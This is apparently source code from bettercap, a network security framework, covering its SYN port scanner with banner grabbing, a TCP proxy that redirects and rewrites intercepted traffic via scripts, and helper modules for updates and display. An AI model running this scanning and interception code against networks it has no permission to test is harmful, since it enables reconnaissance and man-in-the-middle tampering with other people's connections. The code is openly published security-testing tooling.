package syn_scan import ( "fmt" "time" "github.com/evilsocket/islazy/async" ) const bannerGrabTimeout = time.Duration(5) * time.Second type bannerGrabberFn func(mod *SynScanner, ip string, port int) string type grabberJob struct { IP string Port *OpenPort } func (mod *SynScanner) bannerGrabber(arg async.Job) { job := arg.(grabberJob) if job.Port.Proto != "tcp" { return } ip := job.IP port := job.Port.Port sport := fmt.Sprintf("%d", port) fn := tcpGrabber if port == 80 || port == 443 || sport[0] == '8' { fn = httpGrabber } else if port == 53 || port == 5353 { fn = dnsGrabber } mod.Debug("grabbing banner for %s:%d", ip, port) job.Port.Banner = fn(mod, ip, port) if job.Port.Banner != "" { mod.Info("found banner for %s:%d -> %s", ip, port, job.Port.Banner) } }
Go
bettercap/modules/syn_scan/dns_grabber.go
package syn_scan import ( "fmt" "regexp" "github.com/miekg/dns" ) var chaosParser = regexp.MustCompile(`.*"([^"]+)".*`) func grabChaos(addr string, q string) string { c := new(dns.Client) m := new(dns.Msg) m.Question = make([]dns.Question, 1) m.Question[0] = dns.Question{Name: q, Qtype: dns.TypeTXT, Qclass: dns.ClassCHAOS} if in, _, _ := c.Exchange(m, addr); in != nil && len(in.Answer) > 0 { s := in.Answer[0].String() if match := chaosParser.FindStringSubmatch(s); len(match) > 0 { return match[1] } } return "" } func dnsGrabber(mod *SynScanner, ip string, port int) string { addr := fmt.Sprintf("%s:%d", ip, port) if v := grabChaos(addr, "version.bind."); v != "" { return v } else if v := grabChaos(addr, "hostname.bind."); v != "" { return v } return "" }
Go
bettercap/modules/syn_scan/http_grabber.go
package syn_scan import ( "crypto/tls" "crypto/x509" "fmt" "golang.org/x/net/html" "net/http" "strings" ) func isTitleElement(n *html.Node) bool { return n.Type == html.ElementNode && strings.ToLower(n.Data) == "title" } func searchForTitle(n *html.Node) string { if isTitleElement(n) && n.FirstChild != nil { return n.FirstChild.Data } for c := n.FirstChild; c != nil; c = c.NextSibling { if result := searchForTitle(c); result != "" { return result } } return "" } func httpGrabber(mod *SynScanner, ip string, port int) string { schema := "http" client := &http.Client{ Timeout: bannerGrabTimeout, CheckRedirect: func(req *http.Request, via []*http.Request) error { return nil }, } sport := fmt.Sprintf("%d", port) if strings.Contains(sport, "443") { schema = "https" client = &http.Client{ Timeout: bannerGrabTimeout, Transport: &http.Transport{ TLSClientConfig: &tls.Config{ InsecureSkipVerify: true, VerifyPeerCertificate: func(rawCerts [][]byte, verifiedChains [][]*x509.Certificate) error { return nil }, }, }, CheckRedirect: func(req *http.Request, via []*http.Request) error { return nil }, } } // https://stackoverflow.com/questions/12260003/connect-returns-invalid-argument-with-ipv6-address if strings.Contains(ip, ":") { ip = fmt.Sprintf("[%s%%25%s]", ip, mod.Session.Interface.Name()) } url := fmt.Sprintf("%s://%s:%d/", schema, ip, port) resp, err := client.Get(url) if err != nil { mod.Debug("error while grabbing banner from %s: %v", url, err) return "" } defer resp.Body.Close() fallback := "" for name, values := range resp.Header { for _, value := range values { header := strings.ToLower(name) if len(value) > len(fallback) && (header == "x-powered-by" || header == "server") { mod.Debug("found header %s for %s:%d -> %s", header, ip, port, value) fallback = value } } } doc, err := html.Parse(resp.Body) if err != nil { mod.Debug("error while reading and parsing response from %s: %v", url, err) return fallback } if title := searchForTitle(doc); title != "" { return title } return fallback }
Go
bettercap/modules/syn_scan/syn_scan.go
package syn_scan import ( "fmt" "net" "sync" "sync/atomic" "time" "github.com/bettercap/bettercap/network" "github.com/bettercap/bettercap/packets" "github.com/bettercap/bettercap/session" "github.com/evilsocket/islazy/async" "github.com/google/gopacket" "github.com/google/gopacket/pcap" ) const synSourcePort = 666 type synScannerStats struct { numPorts uint64 numAddresses uint64 totProbes uint64 doneProbes uint64 openPorts uint64 started time.Time } type SynScanner struct { session.SessionModule addresses []net.IP startPort int endPort int handle *pcap.Handle packets chan gopacket.Packet progressEvery time.Duration stats synScannerStats waitGroup *sync.WaitGroup scanQueue *async.WorkQueue bannerQueue *async.WorkQueue } func NewSynScanner(s *session.Session) *SynScanner { mod := &SynScanner{ SessionModule: session.NewSessionModule("syn.scan", s), addresses: make([]net.IP, 0), waitGroup: &sync.WaitGroup{}, progressEvery: time.Duration(1) * time.Second, } mod.scanQueue = async.NewQueue(0, mod.scanWorker) mod.bannerQueue = async.NewQueue(0, mod.bannerGrabber) mod.State.Store("scanning", &mod.addresses) mod.State.Store("progress", 0.0) mod.AddParam(session.NewIntParameter("syn.scan.show-progress-every", "1", "Period in seconds for the scanning progress reporting.")) mod.AddHandler(session.NewModuleHandler("syn.scan stop", "syn\\.scan (stop|off)", "Stop the current syn scanning session.", func(args []string) error { if !mod.Running() { return fmt.Errorf("no syn.scan is running") } return mod.Stop() })) mod.AddHandler(session.NewModuleHandler("syn.scan IP-RANGE START-PORT END-PORT", "syn.scan ([^\\s]+) ?(\\d+)?([\\s\\d]*)?", "Perform a syn port scanning against an IP address within the provided ports range.", func(args []string) error { period := 0 if mod.Running() { return fmt.Errorf("A scan is already running, wait for it to end before starting a new one.") } else if err := mod.parseTargets(args[0]); err != nil { return err } else if err = mod.parsePorts(args); err != nil { return err } else if err, period = mod.IntParam("syn.scan.show-progress-every"); err != nil { return err } else { mod.progressEvery = time.Duration(period) * time.Second } return mod.synScan() })) mod.AddHandler(session.NewModuleHandler("syn.scan.progress", "syn\\.scan\\.progress", "Print progress of the current syn scanning session.", func(args []string) error { if !mod.Running() { return fmt.Errorf("no syn.scan is running") } return mod.showProgress() })) return mod } func (mod *SynScanner) Name() string { return "syn.scan" } func (mod *SynScanner) Description() string { return "A module to perform SYN port scanning." } func (mod *SynScanner) Author() string { return "Simone Margaritelli <[email protected]>" } func (mod *SynScanner) Configure() (err error) { if mod.Running() { return session.ErrAlreadyStarted(mod.Name()) } if mod.handle == nil { if mod.handle, err = network.Capture(mod.Session.Interface.Name()); err != nil { return err } else if err = mod.handle.SetBPFFilter(fmt.Sprintf("tcp dst port %d", synSourcePort)); err != nil { return err } mod.packets = gopacket.NewPacketSource(mod.handle, mod.handle.LinkType()).Packets() } return nil } func (mod *SynScanner) Start() error { return nil } func plural(n uint64) string { if n > 1 { return "s" } return "" } func (mod *SynScanner) showProgress() error { progress := 100.0 * (float64(mod.stats.doneProbes) / float64(mod.stats.totProbes)) mod.State.Store("progress", progress) mod.Info("[%.2f%%] found %d open port%s for %d address%s, sent %d/%d packets in %s", progress, mod.stats.openPorts, plural(mod.stats.openPorts), mod.stats.numAddresses, plural(mod.stats.numAddresses), mod.stats.doneProbes, mod.stats.totProbes, time.Since(mod.stats.started)) return nil } func (mod *SynScanner) Stop() error { mod.Info("stopping ...") return mod.SetRunning(false, func() { mod.packets <- nil mod.waitGroup.Wait() }) } type scanJob struct { Address net.IP Mac net.HardwareAddr } func (mod *SynScanner) scanWorker(job async.Job) { scan := job.(scanJob) fromHW := mod.Session.Interface.HW fromIP := mod.Session.Interface.IP if scan.Address.To4() == nil { fromIP = mod.Session.Interface.IPv6 } for dstPort := mod.startPort; dstPort < mod.endPort+1; dstPort++ { if !mod.Running() { break } atomic.AddUint64(&mod.stats.doneProbes, 1) err, raw := packets.NewTCPSyn(fromIP, fromHW, scan.Address, scan.Mac, synSourcePort, dstPort) if err != nil { mod.Error("error creating SYN packet: %s", err) continue } if err := mod.Session.Queue.Send(raw); err != nil { mod.Error("error sending SYN packet: %s", err) } else { mod.Debug("sent %d bytes of SYN packet to %s for port %d", len(raw), scan.Address.String(), dstPort) } time.Sleep(time.Duration(15) * time.Millisecond) } } func (mod *SynScanner) synScan() error { if err := mod.Configure(); err != nil { return err } mod.SetRunning(true, func() { mod.waitGroup.Add(1) defer mod.waitGroup.Done() defer mod.SetRunning(false, func() { mod.showProgress() mod.addresses = []net.IP{} mod.State.Store("progress", 0.0) mod.State.Store("scanning", &mod.addresses) mod.packets <- nil }) mod.stats.openPorts = 0 mod.stats.numPorts = uint64(mod.endPort - mod.startPort + 1) mod.stats.started = time.Now() mod.stats.numAddresses = uint64(len(mod.addresses)) mod.stats.totProbes = mod.stats.numAddresses * mod.stats.numPorts mod.stats.doneProbes = 0 plural := "es" if mod.stats.numAddresses == 1 { plural = "" } if mod.stats.numPorts > 1 { mod.Info("scanning %d address%s from port %d to port %d ...", mod.stats.numAddresses, plural, mod.startPort, mod.endPort) } else { mod.Info("scanning %d address%s on port %d ...", mod.stats.numAddresses, plural, mod.startPort) } mod.State.Store("progress", 0.0) // start the collector mod.waitGroup.Add(1) go func() { defer mod.waitGroup.Done() for packet := range mod.packets { if !mod.Running() { break } mod.onPacket(packet) } }() // start to show progress every second go func() { for { time.Sleep(mod.progressEvery) if mod.Running() { mod.showProgress() } else { break } } }() // start sending SYN packets and wait for _, address := range mod.addresses { if !mod.Running() { break } mac, err := mod.Session.FindMAC(address, true) if err != nil { atomic.AddUint64(&mod.stats.doneProbes, mod.stats.numPorts) mod.Debug("could not get MAC for %s: %s", address.String(), err) continue } mod.scanQueue.Add(async.Job(scanJob{ Address: address, Mac: mac, })) } mod.scanQueue.WaitDone() }) return nil }
Go
bettercap/modules/syn_scan/syn_scan_event.go
package syn_scan import ( "github.com/bettercap/bettercap/network" "github.com/bettercap/bettercap/session" ) type SynScanEvent struct { Address string Host *network.Endpoint Port int } func NewSynScanEvent(address string, h *network.Endpoint, port int) SynScanEvent { return SynScanEvent{ Address: address, Host: h, Port: port, } } func (e SynScanEvent) Push() { session.I.Events.Add("syn.scan", e) session.I.Refresh() }
Go
bettercap/modules/syn_scan/syn_scan_parsers.go
package syn_scan import ( "fmt" "net" "strconv" "strings" "github.com/evilsocket/islazy/str" "github.com/malfunkt/iprange" ) func (mod *SynScanner) parseTargets(arg string) error { if strings.Contains(arg, ":") { // parse as IPv6 address if ip := net.ParseIP(arg); ip == nil { return fmt.Errorf("error while parsing IPv6 '%s'", arg) } else { mod.addresses = []net.IP{ip} } } else { if list, err := iprange.Parse(arg); err != nil { return fmt.Errorf("error while parsing IP range '%s': %s", arg, err) } else { mod.addresses = list.Expand() } } return nil } func (mod *SynScanner) parsePorts(args []string) (err error) { argc := len(args) mod.stats.totProbes = 0 mod.stats.doneProbes = 0 mod.startPort = 1 mod.endPort = 65535 if argc > 1 && str.Trim(args[1]) != "" { if mod.startPort, err = strconv.Atoi(str.Trim(args[1])); err != nil { return fmt.Errorf("invalid start port %s: %s", args[1], err) } else if mod.startPort > 65535 { mod.startPort = 65535 } mod.endPort = mod.startPort } if argc > 2 && str.Trim(args[2]) != "" { if mod.endPort, err = strconv.Atoi(str.Trim(args[2])); err != nil { return fmt.Errorf("invalid end port %s: %s", args[2], err) } } if mod.endPort < mod.startPort { return fmt.Errorf("end port %d is greater than start port %d", mod.endPort, mod.startPort) } return }
Go
bettercap/modules/syn_scan/syn_scan_reader.go
package syn_scan import ( "sync/atomic" "github.com/bettercap/bettercap/network" "github.com/google/gopacket" "github.com/google/gopacket/layers" "github.com/evilsocket/islazy/async" ) type OpenPort struct { Proto string `json:"proto"` Banner string `json:"banner"` Service string `json:"service"` Port int `json:"port"` } func (mod *SynScanner) onPacket(pkt gopacket.Packet) { if pkt == nil || pkt.Data() == nil { return } var eth layers.Ethernet var ip4 layers.IPv4 var ip6 layers.IPv6 var tcp layers.TCP isIPv6 := false foundLayerTypes := []gopacket.LayerType{} parser := gopacket.NewDecodingLayerParser( layers.LayerTypeEthernet, &eth, &ip4, &tcp, ) err := parser.DecodeLayers(pkt.Data(), &foundLayerTypes) if err != nil { // try ipv6 parser := gopacket.NewDecodingLayerParser( layers.LayerTypeEthernet, &eth, &ip6, &tcp, ) err = parser.DecodeLayers(pkt.Data(), &foundLayerTypes) if err != nil { return } isIPv6 = true } if tcp.DstPort == synSourcePort && tcp.SYN && tcp.ACK { atomic.AddUint64(&mod.stats.openPorts, 1) port := int(tcp.SrcPort) openPort := &OpenPort{ Proto: "tcp", Port: port, Service: network.GetServiceByPort(port, "tcp"), } var host *network.Endpoint from := "" if isIPv6 { from = ip6.SrcIP.String() if ip6.SrcIP.Equal(mod.Session.Interface.IPv6) { host = mod.Session.Interface } else if ip6.SrcIP.Equal(mod.Session.Gateway.IPv6) { host = mod.Session.Gateway } else { host = mod.Session.Lan.GetByIp(from) } } else { from = ip4.SrcIP.String() if ip4.SrcIP.Equal(mod.Session.Interface.IP) { host = mod.Session.Interface } else if ip4.SrcIP.Equal(mod.Session.Gateway.IP) { host = mod.Session.Gateway } else { host = mod.Session.Lan.GetByIp(from) } } if host != nil { ports := host.Meta.GetOr("ports", map[int]*OpenPort{}).(map[int]*OpenPort) if _, found := ports[port]; !found { ports[port] = openPort } host.Meta.Set("ports", ports) } mod.bannerQueue.Add(async.Job(grabberJob{from, openPort})) NewSynScanEvent(from, host, port).Push() } }
Go
bettercap/modules/syn_scan/tcp_grabber.go
package syn_scan import ( "bufio" "fmt" "net" "strconv" "strings" ) func cleanBanner(banner string) string { clean := "" for _, c := range banner { if strconv.IsPrint(c) { clean += string(c) } } return clean } func tcpGrabber(mod *SynScanner, ip string, port int) string { dialer := net.Dialer{ Timeout: bannerGrabTimeout, } if conn, err := dialer.Dial("tcp", fmt.Sprintf("%s:%d", ip, port)); err == nil { defer conn.Close() msg, _ := bufio.NewReader(conn).ReadString('\n') return cleanBanner(strings.Trim(msg, "\r\n\t ")) } else { mod.Debug("%s:%d : %v", ip, port, err) } return "" }
Go
bettercap/modules/tcp_proxy/tcp_proxy.go
package tcp_proxy import ( "fmt" "io" "net" "sync" "github.com/bettercap/bettercap/firewall" "github.com/bettercap/bettercap/session" "github.com/robertkrimen/otto" ) type TcpProxy struct { session.SessionModule Redirection *firewall.Redirection localAddr *net.TCPAddr remoteAddr *net.TCPAddr tunnelAddr *net.TCPAddr listener *net.TCPListener script *TcpProxyScript } func NewTcpProxy(s *session.Session) *TcpProxy { mod := &TcpProxy{ SessionModule: session.NewSessionModule("tcp.proxy", s), } mod.AddParam(session.NewIntParameter("tcp.port", "443", "Remote port to redirect when the TCP proxy is activated.")) mod.AddParam(session.NewStringParameter("tcp.address", "", session.IPv4Validator, "Remote address of the TCP proxy.")) mod.AddParam(session.NewStringParameter("tcp.proxy.address", session.ParamIfaceAddress, session.IPv4Validator, "Address to bind the TCP proxy to.")) mod.AddParam(session.NewIntParameter("tcp.proxy.port", "8443", "Port to bind the TCP proxy to.")) mod.AddParam(session.NewStringParameter("tcp.proxy.script", "", "", "Path of a TCP proxy JS script.")) mod.AddParam(session.NewStringParameter("tcp.tunnel.address", "", "", "Address to redirect the TCP tunnel to (optional).")) mod.AddParam(session.NewIntParameter("tcp.tunnel.port", "0", "Port to redirect the TCP tunnel to (optional).")) mod.AddHandler(session.NewModuleHandler("tcp.proxy on", "", "Start TCP proxy.", func(args []string) error { return mod.Start() })) mod.AddHandler(session.NewModuleHandler("tcp.proxy off", "", "Stop TCP proxy.", func(args []string) error { return mod.Stop() })) return mod } func (mod *TcpProxy) Name() string { return "tcp.proxy" } func (mod *TcpProxy) Description() string { return "A full featured TCP proxy and tunnel, all TCP traffic to a given remote address and port will be redirected to it." } func (mod *TcpProxy) Author() string { return "Simone Margaritelli <[email protected]>" } func (mod *TcpProxy) Configure() error { var err error var port int var proxyPort int var address string var proxyAddress string var scriptPath string var tunnelAddress string var tunnelPort int if mod.Running() { return session.ErrAlreadyStarted(mod.Name()) } else if err, address = mod.StringParam("tcp.address"); err != nil { return err } else if err, proxyAddress = mod.StringParam("tcp.proxy.address"); err != nil { return err } else if err, proxyPort = mod.IntParam("tcp.proxy.port"); err != nil { return err } else if err, port = mod.IntParam("tcp.port"); err != nil { return err } else if err, tunnelAddress = mod.StringParam("tcp.tunnel.address"); err != nil { return err } else if err, tunnelPort = mod.IntParam("tcp.tunnel.port"); err != nil { return err } else if err, scriptPath = mod.StringParam("tcp.proxy.script"); err != nil { return err } else if mod.localAddr, err = net.ResolveTCPAddr("tcp", fmt.Sprintf("%s:%d", proxyAddress, proxyPort)); err != nil { return err } else if mod.remoteAddr, err = net.ResolveTCPAddr("tcp", fmt.Sprintf("%s:%d", address, port)); err != nil { return err } else if mod.tunnelAddr, err = net.ResolveTCPAddr("tcp", fmt.Sprintf("%s:%d", tunnelAddress, tunnelPort)); err != nil { return err } else if mod.listener, err = net.ListenTCP("tcp", mod.localAddr); err != nil { return err } if scriptPath != "" { if err, mod.script = LoadTcpProxyScript(scriptPath, mod.Session); err != nil { return err } else { mod.Debug("script %s loaded.", scriptPath) } } if !mod.Session.Firewall.IsForwardingEnabled() { mod.Info("enabling forwarding.") mod.Session.Firewall.EnableForwarding(true) } mod.Redirection = firewall.NewRedirection(mod.Session.Interface.Name(), "TCP", port, proxyAddress, proxyPort) mod.Redirection.SrcAddress = address if err := mod.Session.Firewall.EnableRedirection(mod.Redirection, true); err != nil { return err } mod.Debug("applied redirection %s", mod.Redirection.String()) return nil } func (mod *TcpProxy) doPipe(from, to net.Addr, src *net.TCPConn, dst io.ReadWriter, wg *sync.WaitGroup) { defer wg.Done() buff := make([]byte, 0xffff) for { n, err := src.Read(buff) if err != nil { if err.Error() != "EOF" { mod.Warning("read failed: %s", err) } return } b := buff[:n] if mod.script != nil { ret := mod.script.OnData(from, to, b, func(call otto.FunctionCall) otto.Value { mod.Debug("onData dropCallback called") src.Close() return otto.Value{} }) if ret != nil { nret := len(ret) mod.Info("overriding %d bytes of data from %s to %s with %d bytes of new data.", n, from.String(), to.String(), nret) b = make([]byte, nret) copy(b, ret) } } n, err = dst.Write(b) if err != nil { mod.Warning("write failed: %s", err) return } mod.Debug("%s -> %s : %d bytes", from.String(), to.String(), n) } } func (mod *TcpProxy) handleConnection(c *net.TCPConn) { defer c.Close() mod.Info("got a connection from %s", c.RemoteAddr().String()) // tcp tunnel enabled if mod.tunnelAddr.IP.To4() != nil { mod.Info("tcp tunnel started ( %s -> %s )", mod.remoteAddr.String(), mod.tunnelAddr.String()) mod.remoteAddr = mod.tunnelAddr } remote, err := net.DialTCP("tcp", nil, mod.remoteAddr) if err != nil { mod.Warning("error while connecting to remote %s: %s", mod.remoteAddr.String(), err) return } defer remote.Close() wg := sync.WaitGroup{} wg.Add(2) // start pipeing go mod.doPipe(c.RemoteAddr(), mod.remoteAddr, c, remote, &wg) go mod.doPipe(mod.remoteAddr, c.RemoteAddr(), remote, c, &wg) wg.Wait() } func (mod *TcpProxy) Start() error { if err := mod.Configure(); err != nil { return err } return mod.SetRunning(true, func() { mod.Info("started ( x -> %s -> %s )", mod.localAddr.String(), mod.remoteAddr.String()) for mod.Running() { conn, err := mod.listener.AcceptTCP() if err != nil { mod.Warning("error while accepting TCP connection: %s", err) continue } go mod.handleConnection(conn) } }) } func (mod *TcpProxy) Stop() error { if mod.Redirection != nil { mod.Debug("disabling redirection %s", mod.Redirection.String()) if err := mod.Session.Firewall.EnableRedirection(mod.Redirection, false); err != nil { return err } mod.Redirection = nil } return mod.SetRunning(false, func() { mod.listener.Close() }) }
Go
bettercap/modules/tcp_proxy/tcp_proxy_script.go
package tcp_proxy import ( "net" "strings" "github.com/bettercap/bettercap/log" "github.com/bettercap/bettercap/session" "github.com/evilsocket/islazy/plugin" "github.com/robertkrimen/otto" ) type TcpProxyScript struct { *plugin.Plugin doOnData bool } func LoadTcpProxyScript(path string, sess *session.Session) (err error, s *TcpProxyScript) { log.Info("loading tcp proxy script %s ...", path) plug, err := plugin.Load(path) if err != nil { return } // define session pointer if err = plug.Set("env", sess.Env.Data); err != nil { log.Error("error while defining environment: %+v", err) return } // run onLoad if defined if plug.HasFunc("onLoad") { if _, err = plug.Call("onLoad"); err != nil { log.Error("error while executing onLoad callback: %s", "\ntraceback:\n "+err.(*otto.Error).String()) return } } s = &TcpProxyScript{ Plugin: plug, doOnData: plug.HasFunc("onData"), } return } func (s *TcpProxyScript) OnData(from, to net.Addr, data []byte, callback func(call otto.FunctionCall) otto.Value) []byte { if s.doOnData { addrFrom := strings.Split(from.String(), ":")[0] addrTo := strings.Split(to.String(), ":")[0] if ret, err := s.Call("onData", addrFrom, addrTo, data, callback); err != nil { log.Error("error while executing onData callback: %s", err) return nil } else if ret != nil { array, ok := ret.([]byte) if !ok { log.Error("error while casting exported value to array of byte: value = %+v", ret) } return array } } return nil }
Go
bettercap/modules/ticker/ticker.go
package ticker import ( "time" "github.com/bettercap/bettercap/session" ) type Ticker struct { session.SessionModule Period time.Duration Commands []string } func NewTicker(s *session.Session) *Ticker { mod := &Ticker{ SessionModule: session.NewSessionModule("ticker", s), } mod.AddParam(session.NewStringParameter("ticker.commands", "clear; net.show; events.show 20", "", "List of commands separated by a ;")) mod.AddParam(session.NewIntParameter("ticker.period", "1", "Ticker period in seconds")) mod.AddHandler(session.NewModuleHandler("ticker on", "", "Start the ticker.", func(args []string) error { return mod.Start() })) mod.AddHandler(session.NewModuleHandler("ticker off", "", "Stop the ticker.", func(args []string) error { return mod.Stop() })) return mod } func (mod *Ticker) Name() string { return "ticker" } func (mod *Ticker) Description() string { return "A module to execute one or more commands every given amount of seconds." } func (mod *Ticker) Author() string { return "Simone Margaritelli <[email protected]>" } func (mod *Ticker) Configure() error { var err error var commands string var period int if mod.Running() { return session.ErrAlreadyStarted(mod.Name()) } else if err, commands = mod.StringParam("ticker.commands"); err != nil { return err } else if err, period = mod.IntParam("ticker.period"); err != nil { return err } mod.Commands = session.ParseCommands(commands) mod.Period = time.Duration(period) * time.Second return nil } type TickEvent struct {} func (mod *Ticker) Start() error { if err := mod.Configure(); err != nil { return err } return mod.SetRunning(true, func() { mod.Info("running with period %.fs", mod.Period.Seconds()) tick := time.NewTicker(mod.Period) for range tick.C { if !mod.Running() { break } session.I.Events.Add("tick", TickEvent{}) for _, cmd := range mod.Commands { if err := mod.Session.Run(cmd); err != nil { mod.Error("%s", err) } } } }) } func (mod *Ticker) Stop() error { return mod.SetRunning(false, nil) }
Go
bettercap/modules/ui/ui.go
package ui import ( "context" "fmt" "io" "io/ioutil" "net/http" "os" "path/filepath" "regexp" "runtime" "github.com/bettercap/bettercap/session" "github.com/google/go-github/github" "github.com/evilsocket/islazy/fs" "github.com/evilsocket/islazy/tui" "github.com/evilsocket/islazy/zip" ) var versionParser = regexp.MustCompile(`name:"ui",version:"([^"]+)"`) type UIModule struct { session.SessionModule client *github.Client tmpFile string basePath string uiPath string } func getDefaultInstallBase() string { if runtime.GOOS == "windows" { return filepath.Join(os.Getenv("ALLUSERSPROFILE"), "bettercap") } return "/usr/local/share/bettercap/" } func NewUIModule(s *session.Session) *UIModule { mod := &UIModule{ SessionModule: session.NewSessionModule("ui", s), client: github.NewClient(nil), } mod.AddParam(session.NewStringParameter("ui.basepath", getDefaultInstallBase(), "", "UI base installation path.")) mod.AddParam(session.NewStringParameter("ui.tmpfile", filepath.Join(os.TempDir(), "ui.zip"), "", "Temporary file to use while downloading UI updates.")) mod.AddHandler(session.NewModuleHandler("ui.version", "", "Print the currently installed UI version.", func(args []string) error { return mod.showVersion() })) mod.AddHandler(session.NewModuleHandler("ui.update", "", "Download the latest available version of the UI and install it.", func(args []string) error { return mod.Start() })) return mod } func (mod *UIModule) Name() string { return "ui" } func (mod *UIModule) Description() string { return "A module to manage bettercap's UI updates and installed version." } func (mod *UIModule) Author() string { return "Simone Margaritelli <[email protected]>" } func (mod *UIModule) Configure() (err error) { if err, mod.basePath = mod.StringParam("ui.basepath"); err != nil { return err } else { mod.uiPath = filepath.Join(mod.basePath, "ui") } if err, mod.tmpFile = mod.StringParam("ui.tmpfile"); err != nil { return err } return nil } func (mod *UIModule) Stop() error { return nil } func (mod *UIModule) download(version, url string) error { if !fs.Exists(mod.basePath) { mod.Warning("creating ui install path %s ...", mod.basePath) if err := os.MkdirAll(mod.basePath, os.ModePerm); err != nil { return err } } out, err := os.Create(mod.tmpFile) if err != nil { return err } defer out.Close() defer os.Remove(mod.tmpFile) mod.Info("downloading ui %s from %s ...", tui.Bold(version), url) resp, err := http.Get(url) if err != nil { return err } defer resp.Body.Close() if _, err := io.Copy(out, resp.Body); err != nil { return err } if fs.Exists(mod.uiPath) { mod.Warning("removing previously installed UI from %s ...", mod.uiPath) if err := os.RemoveAll(mod.uiPath); err != nil { return err } } mod.Info("installing to %s ...", mod.uiPath) if _, err = zip.Unzip(mod.tmpFile, mod.basePath); err != nil { return err } mod.Info("installation complete, you can now run the %s (or https-ui) caplet to start the UI.", tui.Bold("http-ui")) return nil } func (mod *UIModule) showVersion() error { if err := mod.Configure(); err != nil { return err } if !fs.Exists(mod.uiPath) { return fmt.Errorf("path %s does not exist, ui not installed", mod.uiPath) } search := filepath.Join(mod.uiPath, "/main.*.js") matches, err := filepath.Glob(search) if err != nil { return err } else if len(matches) == 0 { return fmt.Errorf("can't find any main.*.js files in %s", mod.uiPath) } for _, filename := range matches { if raw, err := ioutil.ReadFile(filename); err != nil { return err } else if m := versionParser.FindStringSubmatch(string(raw)); m != nil { version := m[1] mod.Info("v%s", version) return nil } } return fmt.Errorf("can't parse version from %s", search) } func (mod *UIModule) Start() error { if err := mod.Configure(); err != nil { return err } else if err := mod.SetRunning(true, nil); err != nil { return err } defer mod.SetRunning(false, nil) mod.Info("checking latest stable release ...") if releases, _, err := mod.client.Repositories.ListReleases(context.Background(), "bettercap", "ui", nil); err == nil { latest := releases[0] for _, a := range latest.Assets { if *a.Name == "ui.zip" { return mod.download(*latest.TagName, *a.BrowserDownloadURL) } } } else { mod.Error("error while fetching latest release info from GitHub: %s", err) } return nil }
Go
bettercap/modules/update/update.go
package update import ( "context" "math" "strconv" "strings" "github.com/bettercap/bettercap/core" "github.com/bettercap/bettercap/session" "github.com/google/go-github/github" "github.com/evilsocket/islazy/tui" ) type UpdateModule struct { session.SessionModule client *github.Client } func NewUpdateModule(s *session.Session) *UpdateModule { mod := &UpdateModule{ SessionModule: session.NewSessionModule("update", s), client: github.NewClient(nil), } mod.AddHandler(session.NewModuleHandler("update.check on", "", "Check latest available stable version and compare it with the one being used.", func(args []string) error { return mod.Start() })) return mod } func (mod *UpdateModule) Name() string { return "update" } func (mod *UpdateModule) Description() string { return "A module to check for bettercap's updates." } func (mod *UpdateModule) Author() string { return "Simone Margaritelli <[email protected]>" } func (mod *UpdateModule) Configure() error { return nil } func (mod *UpdateModule) Stop() error { return nil } func (mod *UpdateModule) versionToNum(ver string) float64 { if ver[0] == 'v' { ver = ver[1:] } n := 0.0 parts := strings.Split(ver, ".") nparts := len(parts) // reverse for i := nparts/2 - 1; i >= 0; i-- { opp := nparts - 1 - i parts[i], parts[opp] = parts[opp], parts[i] } for i, e := range parts { ev, _ := strconv.Atoi(e) n += float64(ev) * math.Pow10(i) } return n } func (mod *UpdateModule) Start() error { return mod.SetRunning(true, func() { defer mod.SetRunning(false, nil) mod.Info("checking latest stable release ...") if releases, _, err := mod.client.Repositories.ListReleases(context.Background(), "bettercap", "bettercap", nil); err == nil { latest := releases[0] if mod.versionToNum(core.Version) < mod.versionToNum(*latest.TagName) { mod.Session.Events.Add("update.available", latest) } else { mod.Info("you are running %s which is the latest stable version.", tui.Bold(core.Version)) } } else { mod.Error("error while fetching latest release info from GitHub: %s", err) } }) }
Go
bettercap/modules/utils/view_selector.go
package utils import ( "fmt" "regexp" "strings" "github.com/bettercap/bettercap/session" "github.com/evilsocket/islazy/tui" ) type ViewSelector struct { owner *session.SessionModule Filter string filterName string filterPrev string Expression *regexp.Regexp SortField string Sort string SortSymbol string sortFields map[string]bool sortName string sortParser string sortParse *regexp.Regexp Limit int limitName string } func ViewSelectorFor(m *session.SessionModule, prefix string, sortFields []string, defExpression string) *ViewSelector { parser := "(" + strings.Join(sortFields, "|") + ") (desc|asc)" s := &ViewSelector{ owner: m, filterName: prefix + ".filter", sortName: prefix + ".sort", sortParser: parser, sortParse: regexp.MustCompile(parser), limitName: prefix + ".limit", } m.AddParam(session.NewStringParameter(s.filterName, "", "", "Defines a regular expression filter for "+prefix)) m.AddParam(session.NewStringParameter( s.sortName, defExpression, s.sortParser, "Defines sorting field ("+strings.Join(sortFields, ", ")+") and direction (asc or desc) for "+prefix)) m.AddParam(session.NewIntParameter(s.limitName, "0", "Defines limit for "+prefix)) s.parseSorting() return s } func (s *ViewSelector) parseFilter() (err error) { if err, s.Filter = s.owner.StringParam(s.filterName); err != nil { return } if s.Filter != "" { if s.Filter != s.filterPrev { if s.Expression, err = regexp.Compile(s.Filter); err != nil { return } } } else { s.Expression = nil } s.filterPrev = s.Filter return } func (s *ViewSelector) parseSorting() (err error) { expr := "" if err, expr = s.owner.StringParam(s.sortName); err != nil { return } tokens := s.sortParse.FindAllStringSubmatch(expr, -1) if tokens == nil { return fmt.Errorf("expression '%s' doesn't parse", expr) } s.SortField = tokens[0][1] s.Sort = tokens[0][2] s.SortSymbol = tui.Blue("▾") if s.Sort == "asc" { s.SortSymbol = tui.Blue("▴") } return } func (s *ViewSelector) Update() (err error) { if err = s.parseFilter(); err != nil { return } else if err = s.parseSorting(); err != nil { return } else if err, s.Limit = s.owner.IntParam(s.limitName); err != nil { return } return }